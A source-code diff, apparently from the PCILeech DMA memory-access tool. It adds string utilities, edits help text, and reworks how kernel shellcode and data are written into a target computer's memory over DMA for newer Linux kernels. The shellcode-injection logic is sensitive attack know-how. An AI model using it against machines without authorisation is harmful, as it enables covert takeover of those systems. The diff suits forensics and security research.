diff --git a/files/lx64_exec_root.ksh b/files/lx64_exec_root.ksh
index 4d44335..b53b8e4 100644
Binary files a/files/lx64_exec_root.ksh and b/files/lx64_exec_root.ksh differ
diff --git a/pcileech/charutil.c b/pcileech/charutil.c
index abb67f5..c0c0f05 100644
--- a/pcileech/charutil.c
+++ b/pcileech/charutil.c
@@ -1,6 +1,6 @@
// charutil.c : implementation of various character/string utility functions.
//
-// (c) Ulf Frisk, 2021-2022
+// (c) Ulf Frisk, 2021-2023
// Author: Ulf Frisk, pcileech@frizk.net
//
#include "charutil.h"
@@ -37,6 +37,19 @@ BOOL CharUtil_IsAnsiW(_In_ LPCWSTR wsz)
}
}
+BOOL CharUtil_IsAnsiFsA(_In_ LPCSTR sz)
+{
+ UCHAR c;
+ DWORD i = 0;
+ while(TRUE) {
+ c = sz[i++];
+ if(c == 0) { return TRUE; }
+ if(c > 127) { return FALSE; }
+ if(CHARUTIL_ANSIFILENAME_ALLOW[c] == '0') { return FALSE; }
+ if(i > MAX_PATH - 2) { return FALSE; }
+ }
+}
+
/*
* Convert Ascii (0-255) or Wide (16-bit LE) string into a UTF-8 string.
* Function support sz/wsz == pbBuffer - sz/wsz will then become overwritten.
@@ -699,6 +712,108 @@ BOOL CharUtil_WtoJ(_In_opt_ LPWSTR wsz, _In_ DWORD cch, _Maybenull_ _Writable_by
return FALSE;
}
+/*
+* Convert UTF-8 string into a CSV compatible string.
+* If source string contain either comma(,) space( ) doublequote(") it will be
+* treated as a CSV string and be put into double quotes at start/end.
+* Function support usz == pbBuffer - usz will then become overwritten.
+* CALLER LOCALFREE (if *pvsz != pbBuffer): *pvsz
+* -- usz = the string to convert.
+* -- cch = -1 for null-terminated string; or max number of chars (excl. null).
+* -- pbBuffer = optional buffer to place the result in.
+* -- cbBuffer
+* -- pvsz = if set to null: function calculate length only and return TRUE.
+ result utf-8 string, either as (*pvsz == pbBuffer) or LocalAlloc'ed
+* buffer that caller is responsible for free.
+* -- pcbv = byte length (including terminating null) of utf-8 string.
+* -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_ALLOC or CHARUTIL_FLAG_TRUNCATE
+* -- return
+*/
+_Success_(return)
+BOOL CharUtil_UtoCSV(_In_opt_ LPSTR usz, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPSTR *pvsz, _Out_opt_ PDWORD pcbv, _In_ DWORD flags)
+{
+ UCHAR c;
+ LPSTR vsz;
+ DWORD iu, iv, n, cbu = 0, cbv = 0;
+ BOOL fCSV = FALSE;
+ BOOL fTruncate = flags & CHARUTIL_FLAG_TRUNCATE;
+ if(pcbv) { *pcbv = 0; }
+ if(pvsz) { *pvsz = NULL; }
+ if(!usz) { usz = ""; }
+ if(cch > CHARUTIL_CONVERT_MAXSIZE) { cch = CHARUTIL_CONVERT_MAXSIZE; }
+ // 1: csv byte-length:
+ if(usz[0] == '\0') {
+ fCSV = TRUE;
+ cbv += 2;
+ }
+ if(fTruncate && (!cbBuffer || (flags & CHARUTIL_FLAG_ALLOC))) { goto fail; }
+ while((cbu < cch) && (c = usz[cbu])) {
+ if(c & 0x80) {
+ // utf-8 char:
+ n = 0;
+ if((c & 0xe0) == 0xc0) { n = 2; }
+ if((c & 0xf0) == 0xe0) { n = 3; }
+ if((c & 0xf8) == 0xf0) { n = 4; }
+ if(!n) { goto fail; } // invalid char-encoding
+ if(cbu + n > cch) { break; }
+ if(fTruncate && (cbv + n >= cbBuffer)) { break; }
+ if((n > 1) && ((usz[cbu + 1] & 0xc0) != 0x80)) { goto fail; } // invalid char-encoding
+ if((n > 2) && ((usz[cbu + 2] & 0xc0) != 0x80)) { goto fail; } // invalid char-encoding
+ if((n > 3) && ((usz[cbu + 3] & 0xc0) != 0x80)) { goto fail; } // invalid char-encoding
+ cbu += n;
+ cbv += n;
+ } else if(c == '"' || c == ' ' || c == ',') {
+ n = (c == '"') ? 2 : 1;
+ if(!fCSV) { n += 2; }
+ if(fTruncate && (cbv + n >= cbBuffer)) { break; }
+ fCSV = TRUE;
+ cbu += 1;
+ cbv += n;
+ } else {
+ if(fTruncate && (cbv + 1 >= cbBuffer)) { break; }
+ cbu += 1;
+ cbv += 1;
+ }
+ }
+ cbu++;
+ cbv++;
+ if(pcbv) { *pcbv = cbv; }
+ // 2: return on length-request or alloc-fail
+ if(!pvsz) {
+ if(!(flags & CHARUTIL_FLAG_STR_BUFONLY)) { return TRUE; } // success: length request
+ if(flags & CHARUTIL_FLAG_ALLOC) { return FALSE; }
+ }
+ if(!(flags & CHARUTIL_FLAG_ALLOC) && (!pbBuffer || (cbBuffer < cbv))) { goto fail; } // fail: insufficient buffer space
+ vsz = (pbBuffer && (cbBuffer >= cbv)) ? pbBuffer : LocalAlloc(0, cbv);
+ if(!vsz) { goto fail; } // fail: failed buffer space allocation
+ // 3: populate with CSV UTF-8 string
+ iu = cbu - 2; iv = cbv - 2;
+ if(fCSV) { vsz[iv--] = '"'; }
+ while(iv < 0x7fffffff) {
+ if(!iv && fCSV) {
+ vsz[0] = '"';
+ break;
+ }
+ c = usz[iu--];
+ if(c == '"') {
+ vsz[iv--] = '"';
+ }
+ if(c < 0x20) {
+ c = '?';
+ }
+ vsz[iv--] = c;
+ }
+ vsz[cbv - 1] = 0;
+ if(pvsz) { *pvsz = vsz; }
+ return TRUE;
+fail:
+ if(!(flags ^ CHARUTIL_FLAG_TRUNCATE_ONFAIL_NULLSTR) && pbBuffer && cbBuffer) {
+ if(pvsz) { *pvsz = (LPSTR)pbBuffer; }
+ if(pcbv) { *pcbv = 1; }
+ pbBuffer[0] = 0;
+ }
+ return FALSE;
+}
@@ -1027,7 +1142,7 @@ VOID CharUtil_ReplaceAllA(_Inout_ LPSTR sz, _In_ CHAR chOld, _In_ CHAR chNew)
* -- usz = utf-8 or ascii string.
* -- uszPath = buffer to receive result.
* -- cbuPath = byte length of uszPath buffer
-* -- return
+* -- return = last part (i.e. file name) of usz.
*/
LPSTR CharUtil_PathSplitLastEx(_In_ LPSTR usz, _Out_writes_(cbuPath) LPSTR uszPath, _In_ DWORD cbuPath)
{
@@ -1047,6 +1162,28 @@ LPSTR CharUtil_PathSplitLastEx(_In_ LPSTR usz, _Out_writes_(cbuPath) LPSTR uszPa
return uszPath + iSlash + 1;
}
+/*
+* Split the string usz into two at the last (back)slash which is removed.
+* If no slash is found, the input string is not modified and NULL is returned.
+* NB! The input string is modified in place.
+* Ex: usz: XXX/YYY/ZZZ/AAA -> usz: XXX/YYY/ZZZ + return: AAA
+* -- usz = utf-8 or ascii string to be split/modified.
+* -- return = last part (i.e. file name) of usz.
+*/
+LPSTR CharUtil_PathSplitLastInPlace(_Inout_ LPSTR usz)
+{
+ DWORD i = 0, iSlash = -1;
+ CHAR ch = -1;
+ while((ch = usz[i])) {
+ if((ch == '\\') || (ch == '/')) {
+ iSlash = i;
+ }
+ i++;
+ }
+ if(iSlash == (DWORD)-1) { return NULL; }
+ usz[iSlash] = 0;
+ return usz + iSlash + 1;
+}
/*
* Return the sub-string after the last (back)slash character in usz.
@@ -1093,10 +1230,75 @@ LPSTR CharUtil_PathSplitNext(_In_ LPSTR usz)
}
}
+/*
+* Split a string into two at the first character.
+* The 1st string is returned in the pusz1 caller-allocated buffer. The
+* remainder is returned as return data (is a sub-string of usz). If no
+* 2nd string is found null-terminator character is returned (NB! not as NULL).
+* -- usz = utf-8/ascii string to split.
+* -- ch = character to split at.
+* -- usz1 = buffer to receive result.
+* -- cbu1 = byte length of usz1 buffer
+* -- return = remainder of split string.
+*/
+LPSTR CharUtil_SplitFirst(_In_ LPSTR usz, _In_ CHAR ch, _Out_writes_(cbu1) LPSTR usz1, _In_ DWORD cbu1)
+{
+ UCHAR c;
+ DWORD i = 0;
+ while((c = usz[i]) && (c != ch) && (i < cbu1 - 2)) {
+ usz1[i++] = c;
+ }
+ usz1[i] = 0;
+ return usz[i] ? &usz[i + 1] : "";
+}
+
+/*
+* Split a string into a list of strings at the delimiter characters.
+* The function allocates neccessary memory for the result array and its values.
+* CALLER LocalFree: *ppuszArray
+* -- usz = utf-8/ascii string to split.
+* -- chDelimiter = character to split at.
+* -- pcArray = pointer to receive number of strings in result array.
+* -- ppuszArray = pointer to receive result array.
+* -- return = remainder of split string.
+*/
+_Success_(return)
+BOOL CharUtil_SplitList(_In_opt_ LPSTR usz, _In_ CHAR chDelimiter, _Out_ PDWORD pcArray, _Out_ LPSTR **ppuszArray)
+{
+ UCHAR c;
+ LPSTR *pszResult;
+ DWORD cch = 0, cDelim = 1, cDelimResult = 0;
+ *pcArray = 0;
+ *ppuszArray = NULL;
+ if(!usz) { return FALSE; }
+ // count total length and # of delimiters:
+ while((c = usz[cch])) {
+ if(c == chDelimiter) { cDelim++; }
+ cch++;
+ }
+ // allocate result array:
+ if(!(pszResult = LocalAlloc(LMEM_ZEROINIT, cDelim * sizeof(LPSTR) + cch + 1))) { return FALSE; }
+ memcpy(pszResult + cDelim, usz, cch);
+ usz = (LPSTR)(pszResult + cDelim);
+ // split string:
+ pszResult[cDelimResult++] = usz;
+ while((c = usz[0]) && (cDelimResult < cDelim)) {
+ if(c == chDelimiter) {
+ usz[0] = 0;
+ pszResult[cDelimResult++] = usz + 1;
+ }
+ usz++;
+ }
+ // set out parameters:
+ *ppuszArray = pszResult;
+ *pcArray = cDelim;
+ return TRUE;
+}
+
/*
* Split a "path" string into two at the first slash/backslash character.
* The 1st string is returned in the pusz1 caller-allocated buffer. The
-* remainder is returned as return data (is a sub-string of wsz). If no
+* remainder is returned as return data (is a sub-string of usz). If no
* 2nd string is found null-terminator character is returned (NB! not as NULL).
* -- usz = utf-8/ascii string to split.
* -- usz1 = buffer to receive result.
@@ -1162,6 +1364,81 @@ QWORD CharUtil_HashPathFsW(_In_ LPCWSTR wszPath)
return CharUtil_HashPathFs_Internal(uszPath);
}
+/*
+* Compare multiple strings with a CharUtil_Str* compare function.
+* If at least one comparison is TRUE return TRUE - otherwise FALSE.
+* -- pfnStrCmp
+* -- usz1
+* -- fCaseInsensitive
+* -- cStr
+* --
+* ...
+* -- return
+*/
+BOOL CharUtil_StrCmpAny(_In_opt_ CHARUTIL_STRCMP_PFN pfnStrCmp, _In_opt_ LPSTR usz1, _In_ BOOL fCaseInsensitive, _In_ DWORD cStr, ...)
+{
+ va_list arglist;
+ if(!pfnStrCmp) { return FALSE; }
+ va_start(arglist, cStr);
+ while(cStr) {
+ if(pfnStrCmp(usz1, va_arg(arglist, LPSTR), fCaseInsensitive)) {
+ va_end(arglist);
+ return TRUE;
+ }
+ cStr--;
+ }
+ va_end(arglist);
+ return FALSE;
+}
+
+/*
+* Compare multiple strings with a CharUtil_Str* compare function.
+* If at least one comparison is TRUE return TRUE - otherwise FALSE.
+* -- pfnStrCmp
+* -- usz1
+* -- fCaseInsensitive
+* -- cStr
+* -- pStr
+* -- return
+*/
+BOOL CharUtil_StrCmpAnyEx(_In_opt_ CHARUTIL_STRCMP_PFN pfnStrCmp, _In_opt_ LPSTR usz1, _In_ BOOL fCaseInsensitive, _In_ DWORD cStr, _In_ LPSTR *pStr)
+{
+ if(!pfnStrCmp) { return FALSE; }
+ while(cStr) {
+ if(pfnStrCmp(usz1, pStr[--cStr], fCaseInsensitive)) {
+ return TRUE;
+ }
+ }
+ return FALSE;
+}
+
+/*
+* Compare multiple strings with a CharUtil_Str* compare function.
+* If all comparisons are TRUE return TRUE - otherwise FALSE.
+* -- pfnStrCmp
+* -- usz1
+* -- fCaseInsensitive
+* -- cStr
+* --
+* ...
+* -- return
+*/
+BOOL CharUtil_StrCmpAll(_In_opt_ CHARUTIL_STRCMP_PFN pfnStrCmp, _In_opt_ LPSTR usz1, _In_ BOOL fCaseInsensitive, _In_ DWORD cStr, ...)
+{
+ va_list arglist;
+ if(!pfnStrCmp) { return FALSE; }
+ va_start(arglist, cStr);
+ while(cStr) {
+ if(!pfnStrCmp(usz1, va_arg(arglist, LPSTR), fCaseInsensitive)) {
+ va_end(arglist);
+ return FALSE;
+ }
+ cStr--;
+ }
+ va_end(arglist);
+ return TRUE;
+}
+
/*
* Checks if a string ends with a certain substring.
* -- usz
@@ -1181,6 +1458,42 @@ BOOL CharUtil_StrEndsWith(_In_opt_ LPSTR usz, _In_opt_ LPSTR uszEndsWith, _In_ B
(0 == strcmp(usz + cch - cchEndsWith, uszEndsWith));
}
+/*
+* Checks if a string starts with a certain substring.
+* -- usz
+* -- uszStartsWith
+* -- fCaseInsensitive
+* -- return
+*/
+BOOL CharUtil_StrStartsWith(_In_opt_ LPSTR usz, _In_opt_ LPSTR uszStartsWith, _In_ BOOL fCaseInsensitive)
+{
+ if(!usz || !uszStartsWith) { return FALSE; }
+ if(fCaseInsensitive) {
+ return (0 == _strnicmp(usz, uszStartsWith, strlen(uszStartsWith)));
+ } else {
+ return (0 == strncmp(usz, uszStartsWith, strlen(uszStartsWith)));
+ }
+}
+
+/*
+* Checks if a string equals another string.
+* -- usz1
+* -- usz2
+* -- fCaseInsensitive
+* -- return
+*/
+BOOL CharUtil_StrEquals(_In_opt_ LPSTR usz, _In_opt_ LPSTR usz2, _In_ BOOL fCaseInsensitive)
+{
+ if(!usz || !usz2) { return FALSE; }
+ if(fCaseInsensitive) {
+ return (0 == _stricmp(usz, usz2));
+ } else {
+ return (0 == strcmp(usz, usz2));
+ }
+}
+
+
+
/*
* Compare a wide-char string to a utf-8 string.
* NB! only the first 2*MAX_PATH characters are compared.
diff --git a/pcileech/charutil.h b/pcileech/charutil.h
index 860c943..27e7881 100644
--- a/pcileech/charutil.h
+++ b/pcileech/charutil.h
@@ -1,6 +1,6 @@
// charutil.h : definitions of various character/string utility functions.
//
-// (c) Ulf Frisk, 2021-2022
+// (c) Ulf Frisk, 2021-2023
// Author: Ulf Frisk, pcileech@frizk.net
//
#ifndef __CHARUTIL_H__
@@ -26,6 +26,7 @@ typedef unsigned __int64 QWORD, *PQWORD;
*/
BOOL CharUtil_IsAnsiA(_In_ LPCSTR sz);
BOOL CharUtil_IsAnsiW(_In_ LPCWSTR wsz);
+BOOL CharUtil_IsAnsiFsA(_In_ LPCSTR sz);
/*
* Convert Ascii (0-255) or Wide (16-bit LE) string into a UTF-8 string.
@@ -39,7 +40,7 @@ BOOL CharUtil_IsAnsiW(_In_ LPCWSTR wsz);
result utf-8 string, either as (*pusz == pbBuffer) or LocalAlloc'ed
* buffer that caller is responsible for free.
* -- pcbu = byte length (including terminating null) of utf-8 string.
-* -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_ALLOC or CHARUTIL_FLAG_TRUNCATE
+* -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_STR_BUFONLY, CHARUTIL_FLAG_ALLOC, CHARUTIL_FLAG_TRUNCATE, etc.
* -- return
*/
_Success_(return)
@@ -48,7 +49,7 @@ BOOL CharUtil_UtoU(
_In_ DWORD cch,
_Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer,
_In_ DWORD cbBuffer,
- _Out_opt_ LPSTR * pusz,
+ _Out_opt_ LPSTR *pusz,
_Out_opt_ PDWORD pcbu,
_In_ DWORD flags
);
@@ -87,7 +88,7 @@ BOOL CharUtil_WtoU(
result wide-string, either as (*pwsz == pbBuffer) or LocalAlloc'ed
* buffer that caller is responsible for free.
* -- pcbw = byte length (including terminating null) of wide-char string.
-* -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_ALLOC or CHARUTIL_FLAG_TRUNCATE
+* -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_STR_BUFONLY, CHARUTIL_FLAG_ALLOC, CHARUTIL_FLAG_TRUNCATE, etc.
* -- return
*/
_Success_(return)
@@ -124,7 +125,7 @@ BOOL CharUtil_WtoW(
result utf-8 string, either as (*pjsz == pbBuffer) or LocalAlloc'ed
* buffer that caller is responsible for free.
* -- pcbj = byte length (including terminating null) of utf-8 string.
-* -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_ALLOC or CHARUTIL_FLAG_TRUNCATE
+* -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_STR_BUFONLY, CHARUTIL_FLAG_ALLOC, CHARUTIL_FLAG_TRUNCATE, etc.
* -- return
*/
_Success_(return)
@@ -160,6 +161,33 @@ BOOL CharUtil_WtoJ(
_In_ DWORD flags
);
+/*
+* Convert UTF-8 string into a CSV compatible string.
+* If source string contain either comma(,) space( ) doublequote(") it will be
+* treated as a CSV string and be put into double quotes at start/end.
+* Function support usz == pbBuffer - usz will then become overwritten.
+* CALLER LOCALFREE (if *pvsz != pbBuffer): *pvsz
+* -- usz = the string to convert.
+* -- cch = -1 for null-terminated string; or max number of chars (excl. null).
+* -- pbBuffer = optional buffer to place the result in.
+* -- cbBuffer
+* -- pvsz = if set to null: function calculate length only and return TRUE.
+ result utf-8 string, either as (*pvsz == pbBuffer) or LocalAlloc'ed
+* buffer that caller is responsible for free.
+* -- pcbv = byte length (including terminating null) of utf-8 string.
+* -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_STR_BUFONLY, CHARUTIL_FLAG_ALLOC, CHARUTIL_FLAG_TRUNCATE, etc.
+* -- return
+*/
+_Success_(return)
+BOOL CharUtil_UtoCSV(
+ _In_opt_ LPSTR usz,
+ _In_ DWORD cch,
+ _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer,
+ _In_ DWORD cbBuffer,
+ _Out_opt_ LPSTR *pvsz,
+ _Out_opt_ PDWORD pcbv,
+ _In_ DWORD flags);
+
/*
* Hash a string quickly using the ROT13 algorithm either to a 64-bit or 32-bit number.
* -- sz/usz/wsz = the string to hash
@@ -250,10 +278,36 @@ DWORD CharUtil_FixFsName(
*/
VOID CharUtil_ReplaceAllA(_Inout_ LPSTR sz, _In_ CHAR chOld, _In_ CHAR chNew);
+/*
+* Split a string into two at the first character.
+* The 1st string is returned in the pusz1 caller-allocated buffer. The
+* remainder is returned as return data (is a sub-string of usz). If no
+* 2nd string is found null-terminator character is returned (NB! not as NULL).
+* -- usz = utf-8/ascii string to split.
+* -- ch = character to split at.
+* -- usz1 = buffer to receive result.
+* -- cbu1 = byte length of usz1 buffer
+* -- return = remainder of split string.
+*/
+LPSTR CharUtil_SplitFirst(_In_ LPSTR usz, _In_ CHAR ch, _Out_writes_(cbu1) LPSTR usz1, _In_ DWORD cbu1);
+
+/*
+* Split a string into a list of strings at the delimiter characters.
+* The function allocates neccessary memory for the result array and its values.
+* CALLER LocalFree: *ppuszArray
+* -- usz = utf-8/ascii string to split.
+* -- chDelimiter = character to split at.
+* -- pcArray = pointer to receive number of strings in result array.
+* -- ppuszArray = pointer to receive result array.
+* -- return = remainder of split string.
+*/
+_Success_(return)
+BOOL CharUtil_SplitList(_In_opt_ LPSTR usz, _In_ CHAR chDelimiter, _Out_ PDWORD pcArray, _Out_ LPSTR * *ppuszArray);
+
/*
* Split a "path" string into two at the first slash/backslash character.
* The 1st string is returned in the pusz1 caller-allocated buffer. The
-* remainder is returned as return data (is a sub-string of wsz). If no
+* remainder is returned as return data (is a sub-string of usz). If no
* 2nd string is found null-terminator character is returned (NB! not as NULL).
* -- usz = utf-8/ascii string to split.
* -- usz1 = buffer to receive result.
@@ -280,16 +334,69 @@ LPSTR CharUtil_PathSplitNext(_In_ LPSTR usz);
*/
LPSTR CharUtil_PathSplitLast(_In_ LPSTR usz);
+/*
+* Split the string usz into two at the last (back)slash which is removed.
+* If no slash is found, the input string is not modified and NULL is returned.
+* NB! The input string is modified in place.
+* Ex: usz: XXX/YYY/ZZZ/AAA -> usz: XXX/YYY/ZZZ + return: AAA
+* -- usz = utf-8 or ascii string to be split/modified.
+* -- return = last part (i.e. file name) of usz.
+*/
+LPSTR CharUtil_PathSplitLastInPlace(_Inout_ LPSTR usz);
+
/*
* Split the string usz into two at the last (back)slash which is removed.
* Ex: usz: XXX/YYY/ZZZ/AAA -> uszPath: XXX/YYY/ZZZ + return: AAA
* -- usz = utf-8 or ascii string.
* -- uszPath = buffer to receive result.
* -- cbuPath = byte length of uszPath buffer
-* -- return
+* -- return = last part (i.e. file name) of usz.
*/
LPSTR CharUtil_PathSplitLastEx(_In_ LPSTR usz, _Out_writes_(cbuPath) LPSTR uszPath, _In_ DWORD cbuPath);
+/*
+* Common typedef for a CharUtil_Str* comparison function.
+*/
+typedef BOOL(*CHARUTIL_STRCMP_PFN)(_In_opt_ LPSTR usz1, _In_opt_ LPSTR usz2, _In_ BOOL fCaseInsensitive);
+
+/*
+* Compare multiple strings with a CharUtil_Str* compare function.
+* If at least one comparison is TRUE return TRUE - otherwise FALSE.
+* -- pfnStrCmp
+* -- usz1
+* -- fCaseInsensitive
+* -- cStr
+* --
+* ...
+* -- return
+*/
+BOOL CharUtil_StrCmpAny(_In_opt_ CHARUTIL_STRCMP_PFN pfnStrCmp, _In_opt_ LPSTR usz1, _In_ BOOL fCaseInsensitive, _In_ DWORD cStr, ...);
+
+/*
+* Compare multiple strings with a CharUtil_Str* compare function.
+* If at least one comparison is TRUE return TRUE - otherwise FALSE.
+* -- pfnStrCmp
+* -- usz1
+* -- fCaseInsensitive
+* -- cStr
+* -- pStr
+* -- return
+*/
+BOOL CharUtil_StrCmpAnyEx(_In_opt_ CHARUTIL_STRCMP_PFN pfnStrCmp, _In_opt_ LPSTR usz1, _In_ BOOL fCaseInsensitive, _In_ DWORD cStr, _In_ LPSTR *pStr);
+
+/*
+* Compare multiple strings with a CharUtil_Str* compare function.
+* If all comparisons are TRUE return TRUE - otherwise FALSE.
+* -- pfnStrCmp
+* -- usz1
+* -- fCaseInsensitive
+* -- cStr
+* --
+* ...
+* -- return
+*/
+BOOL CharUtil_StrCmpAll(_In_opt_ CHARUTIL_STRCMP_PFN pfnStrCmp, _In_opt_ LPSTR usz1, _In_ BOOL fCaseInsensitive, _In_ DWORD cStr, ...);
+
/*
* Checks if a string ends with a certain substring.
* -- usz
@@ -299,6 +406,24 @@ LPSTR CharUtil_PathSplitLastEx(_In_ LPSTR usz, _Out_writes_(cbuPath) LPSTR uszPa
*/
BOOL CharUtil_StrEndsWith(_In_opt_ LPSTR usz, _In_opt_ LPSTR uszEndsWith, _In_ BOOL fCaseInsensitive);
+/*
+* Checks if a string starts with a certain substring.
+* -- usz
+* -- uszStartsWith
+* -- fCaseInsensitive
+* -- return
+*/
+BOOL CharUtil_StrStartsWith(_In_opt_ LPSTR usz, _In_opt_ LPSTR uszStartsWith, _In_ BOOL fCaseInsensitive);
+
+/*
+* Checks if a string equals another string.
+* -- usz1
+* -- usz2
+* -- fCaseInsensitive
+* -- return
+*/
+BOOL CharUtil_StrEquals(_In_opt_ LPSTR usz, _In_opt_ LPSTR usz2, _In_ BOOL fCaseInsensitive);
+
/*
* Compare a wide-char string to a utf-8 string.
* NB! only the first 2*MAX_PATH characters are compared.
diff --git a/pcileech/executor.c b/pcileech/executor.c
index 7cc59bb..6c97893 100644
--- a/pcileech/executor.c
+++ b/pcileech/executor.c
@@ -206,34 +206,26 @@ VOID Exec_CallbackClose(_In_opt_ HANDLE hCallback)
_Success_(return)
BOOL Exec_ExecSilent(_In_ LPSTR szShellcodeName, _In_ PBYTE pbIn, _In_ QWORD cbIn, _Out_opt_ PBYTE *ppbOut, _Out_opt_ PQWORD pcbOut)
{
- PKMDDATA pk = ctxMain->pk;
BOOL result = FALSE;
- DWORD cbBuffer;
- PBYTE pbBuffer = NULL;
+ PKMDDATA pk = ctxMain->pk;
PKMDEXEC pKmdExec = NULL;
//------------------------------------------------
// 1: Setup and initial validity checks.
//------------------------------------------------
if(pcbOut) { *pcbOut = 0; }
- if(!ctxMain->phKMD) { goto fail; }
- result = Util_LoadKmdExecShellcode(szShellcodeName, &pKmdExec);
- if(!result) { goto fail; }
- cbBuffer = SIZE_PAGE_ALIGN_4K(pKmdExec->cbShellcode) + SIZE_PAGE_ALIGN_4K(cbIn);
- if(!result || (ctxMain->pk->DMASizeBuffer < cbBuffer)) { result = FALSE; goto fail; }
- pbBuffer = LocalAlloc(LMEM_ZEROINIT, cbBuffer);
- if(!pbBuffer) { result = FALSE; goto fail; }
+ if(ppbOut) { *ppbOut = NULL; }
+ if(!ctxMain->phKMD || (ctxMain->pk->DMASizeBuffer < 0x80000 + SIZE_PAGE_ALIGN_4K(cbIn))) { goto fail; }
+ if(!Util_LoadKmdExecShellcode(szShellcodeName, &pKmdExec) || (pKmdExec->cbShellcode > 0x80000)) { goto fail; }
//------------------------------------------------
// 2: Set up shellcode and indata and write to target memory.
// X, Y = page aligned.
// [0 , Y [ = shellcode
- // [Y , X [ = data in (to target computer)
+ // [0x80000 , X [ = data in (to target computer)
// [X , buf_max [ = data out (from target computer)
//------------------------------------------------
- memcpy(pbBuffer, pKmdExec->pbShellcode, (SIZE_T)pKmdExec->cbShellcode);
- memcpy(pbBuffer + SIZE_PAGE_ALIGN_4K(pKmdExec->cbShellcode), pbIn, (SIZE_T)cbIn);
- result = DeviceWriteDMA_Retry(ctxMain->hLC, pk->DMAAddrPhysical, cbBuffer, pbBuffer);
- if(!result) { goto fail; }
- pk->dataInExtraOffset = SIZE_PAGE_ALIGN_4K(pKmdExec->cbShellcode);
+ if(!DeviceWriteDMA_Retry(ctxMain->hLC, pk->DMAAddrPhysical, (DWORD)pKmdExec->cbShellcode, pKmdExec->pbShellcode)) { goto fail; }
+ if(cbIn && !DeviceWriteDMA_Retry(ctxMain->hLC, pk->DMAAddrPhysical + 0x80000, (DWORD)cbIn, pbIn)) { goto fail; }
+ pk->dataInExtraOffset = 0x80000; // first 0x80 pages are reserved for shellcode (RX section) in Linux 6.4+.
pk->dataInExtraLength = cbIn;
pk->dataInExtraLengthMax = SIZE_PAGE_ALIGN_4K(cbIn);
pk->dataOutExtraOffset = pk->dataInExtraOffset + pk->dataInExtraLengthMax;
@@ -259,7 +251,6 @@ BOOL Exec_ExecSilent(_In_ LPSTR szShellcodeName, _In_ PBYTE pbIn, _In_ QWORD cbI
}
fail:
LocalFree(pKmdExec);
- LocalFree(pbBuffer);
return result;
}
diff --git a/pcileech/help.c b/pcileech/help.c
index 6ee3824..2ace965 100644
--- a/pcileech/help.c
+++ b/pcileech/help.c
@@ -153,6 +153,7 @@ VOID Help_ShowGeneral()
" WIN10_X64_3 \n" \
" LINUX_X64_46 (NB! Kernels 2.6.33 - 4.6) \n" \
" LINUX_X64_48 (NB! Kernels 4.8+) \n" \
+ " LINUX_X64_MAP (NB! Linux systems with System.map in -in arg)\n" \
" LINUX_X64_EFI (NB! UEFI booted systems only) \n" \
" FREEBSD_X64 \n" \
" MACOS \n" \
@@ -174,7 +175,7 @@ VOID Help_ShowInfo()
{
printf(
" PCILEECH INFORMATION \n" \
- " PCILeech (c) 2016-2022 Ulf Frisk \n" \
+ " PCILeech (c) 2016-2023 Ulf Frisk \n" \
" Version: " \
VER_FILE_VERSION_STR "\n" \
" \n" \
@@ -212,26 +213,9 @@ VOID Help_ShowInfo()
" To be able to use the 'mount' functionality for filesystem browsing PCILeech\n" \
" requires Dokany to be installed for virtual file system support. Download \n" \
" and install Dokany on your computer before using the mount functionality. \n" \
- " Driver information (USB3380/Linux): \n" \
+ " Driver information (USB3380/FPGA/FT601/Linux): \n" \
" PCILeech on Linux requires that libusb is installed. Libusb is most probably\n" \
" installed by default, if not install by running:apt-get install libusb-1.0-0\n" \
- " Driver information (FPGA/FT601/Linux): \n" \
- " The PCILeech programmed FPGA board with FT601 USB3 requires drivers for USB.\n" \
- " The driver is a small kernel driver found in the drivers/ft60x folder in the\n" \
- " PCIe Injector Github repository. Once loaded the driver will expose a device\n" \
- " named /dev/ft60x[0-3] Please note that this device file must be read/write \n" \
- " for the current user for PCILeech to find and use it automatically. \n" \
- " ---------------- \n" \
- " Notes about the PCILeech USB3380 device: \n" \
- " Usage: connect USB3380 device to target computer and USB cable to the computer\n" \
- " executing pcileech. If all memory reads fail try to re-insert the device. \n" \
- " - It is only possible to access the lower 4GB of RAM (32-bit) with DMA. \n" \
- " - It may not be possible to access RAM if OS configured IOMMU (VT-d). \n" \
- " macOS defaults to VT-d. Windows 10 may, if configured, also use VT-d. \n" \
- " - No drivers are needed on the target! Memory acquisition is all in hardware! \n" \
- " - Confirmed working with PCIe/mPCIe/ExpressCard/Thunderbolt. \n" \
- " - If kernel module is successfully inserted in lower 4GB RAM more RAM will be \n" \
- " possible to read. Extended funtionality will also be made available. \n" \
" ---------------- \n");
Help_ShowGeneral();
}
@@ -367,12 +351,9 @@ VOID Help_ShowDetailed()
" Mount the target system live ram and file system as the drive letter specified\n" \
" in the -mount option. If the -mount option is not specified PCILeech will try\n" \
" to mount the target file system as the K: drive letter. \n" \
- " File system comes with two main functionalities, mount target system files if \n" \
- " hardware device is used, and mount memory process file system (in read-only \n" \
- " mode when dump file is used, in read-write mode when hardware device is used).\n" \
" ------------------------------------------------------------------------------\n" \
- " File system mount is currently supported for: macOS, Windows and Linux. There\n" \
- " are limitations that are important to know, please see below. Use at own risk!\n" \
+ " File system mount is currently supported for Windows and Linux. \n" \
+ " See important limitations below. Use at own risk! \n" \
" - Create file: not implemented. \n" \
" - Write to files may be buggy and may in rare cases corrupt the target file. \n" \
" - Delete file will most often work, but with errors. \n" \
diff --git a/pcileech/kmd.c b/pcileech/kmd.c
index 38eecdb..b1f4539 100644
--- a/pcileech/kmd.c
+++ b/pcileech/kmd.c
@@ -345,6 +345,37 @@ BOOL KMD_LinuxFindFunctionAddrTBL_RelativeSymTabSearch(_In_ PBYTE pb, _In_ DWORD
return FALSE;
}
+QWORD KMD_LinuxFindFunctionAddrTBL_FromSystemMap_GetAddressFromName(_In_ LPSTR sz)
+{
